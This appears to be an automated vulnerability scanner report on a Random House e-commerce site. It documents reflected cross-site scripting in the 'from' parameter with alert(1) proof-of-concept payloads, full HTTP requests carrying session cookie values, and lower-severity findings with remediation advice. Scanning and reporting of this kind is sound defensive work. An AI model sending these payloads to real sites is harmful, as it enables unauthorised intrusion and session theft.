Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the from request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b9cd4'%3balert(1)//15e475eec0c was submitted in the from parameter. This input was echoed as b9cd4';alert(1)//15e475eec0c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cart.do?from=randomhouseb9cd4'%3balert(1)//15e475eec0c HTTP/1.1 Host: ecommerce.randomhouse.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]
The value of the from request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 49283"%3balert(1)//e4e0e74635 was submitted in the from parameter. This input was echoed as 49283";alert(1)//e4e0e74635 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cart.do?from=randomhouse49283"%3balert(1)//e4e0e74635 HTTP/1.1 Host: ecommerce.randomhouse.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w ...[SNIP]... <!-- var s_account="ranhcorporate,ranhrollup"; var rh_division="Random House Corporate"; var rh_imprint=""; var rh_store="randomhouse49283";alert(1)//e4e0e74635"; //--> ...[SNIP]...
The value of the from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17962"><script>alert(1)</script>6f8a1d41037 was submitted in the from parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cart.do?from=randomhouse17962"><script>alert(1)</script>6f8a1d41037 HTTP/1.1 Host: ecommerce.randomhouse.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]
The value of the from request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8a18b'%3balert(1)//54e01557802 was submitted in the from parameter. This input was echoed as 8a18b';alert(1)//54e01557802 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /account.do?from=randomhouse8a18b'%3balert(1)//54e01557802 HTTP/1.1 Host: ecommerce.randomhouse.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]
The value of the from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13d54"><script>alert(1)</script>e958056cf4c was submitted in the from parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /account.do?from=randomhouse13d54"><script>alert(1)</script>e958056cf4c HTTP/1.1 Host: ecommerce.randomhouse.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]
The value of the from request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 584a0"%3balert(1)//4a17c54e7d8 was submitted in the from parameter. This input was echoed as 584a0";alert(1)//4a17c54e7d8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /account.do?from=randomhouse584a0"%3balert(1)//4a17c54e7d8 HTTP/1.1 Host: ecommerce.randomhouse.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/ ...[SNIP]... <!-- var s_account="ranhcorporate,ranhrollup"; var rh_division="Random House Corporate"; var rh_imprint=""; var rh_store="randomhouse584a0";alert(1)//4a17c54e7d8"; //--> ...[SNIP]...
The value of the from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3ec7"><script>alert(1)</script>c88b024cdae was submitted in the from parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the from request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a8336"%3balert(1)//1decb9d5a21 was submitted in the from parameter. This input was echoed as a8336";alert(1)//1decb9d5a21 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/ ...[SNIP]... <!-- var s_account="ranhcorporate,ranhrollup"; var rh_division="Random House Corporate"; var rh_imprint=""; var rh_store="randomhousea8336";alert(1)//1decb9d5a21"; //--> ...[SNIP]...
The value of the from request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1e67a'%3balert(1)//c85d7540c7f was submitted in the from parameter. This input was echoed as 1e67a';alert(1)//c85d7540c7f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cart.do?from=randomhouse HTTP/1.1 Host: ecommerce.randomhouse.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /account.do?from=randomhouse HTTP/1.1 Host: ecommerce.randomhouse.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
/* Prototype JavaScript framework, version 1.3.1 * (c) 2005 Sam Stephenson <sam@conio.net> * * THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff * against the source ...[SNIP]...
/* SiteCatalyst code version: H.17. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com */ /************************ ADDITIONAL FEATURES ************************ Plu ...[SNIP]... .hav()+q+(qs?qs:s." +"rq(^C)),0,id,ta);qs`e;`Wm('t')`5s.p_r)s.p_r(`R`X`e}^7(qs);^z`p(@i;`l@i`L^9,`G$71',vb`R@G=^D=s.`N`i=s.`N^M=`F@0^y=s.ppu=^p=^pv1=^pv2=^pv3`e`5$x)`F@0@G=`F@0eo=`F@0`N`i=`F@0`N^M`e`5!id@Ls.tc#Ctc=1;s.f" +"lush`a()}`2$m`Atl`0o,t,n,vo`1;s.@G=@wo`R`N^M=t;s.`N`i=n;s.t(@i}`5pg){`F@0co`0o){`K@J\"_\",1,#B`2@wo)`Awd@0gs`0$S{`K@J$p1,#B`2s.t()`Awd@0dc`0$S{`K@J$p#B`2s.t()}}@3=(`F`J`Y`8`4@us@d0`Rd=^L; ...[SNIP]...
/* Prototype JavaScript framework, version 1.3.1 * (c) 2005 Sam Stephenson <sam@conio.net> * * THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff * against the source ...[SNIP]...
/* SiteCatalyst code version: H.17. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com */ /************************ ADDITIONAL FEATURES ************************ Plu ...[SNIP]... .hav()+q+(qs?qs:s." +"rq(^C)),0,id,ta);qs`e;`Wm('t')`5s.p_r)s.p_r(`R`X`e}^7(qs);^z`p(@i;`l@i`L^9,`G$71',vb`R@G=^D=s.`N`i=s.`N^M=`F@0^y=s.ppu=^p=^pv1=^pv2=^pv3`e`5$x)`F@0@G=`F@0eo=`F@0`N`i=`F@0`N^M`e`5!id@Ls.tc#Ctc=1;s.f" +"lush`a()}`2$m`Atl`0o,t,n,vo`1;s.@G=@wo`R`N^M=t;s.`N`i=n;s.t(@i}`5pg){`F@0co`0o){`K@J\"_\",1,#B`2@wo)`Awd@0gs`0$S{`K@J$p1,#B`2s.t()`Awd@0dc`0$S{`K@J$p#B`2s.t()}}@3=(`F`J`Y`8`4@us@d0`Rd=^L; ...[SNIP]...
7. Cacheable HTTPS responseprevious There are 2 instances of this issue:
Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.
Issue remediation
The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content: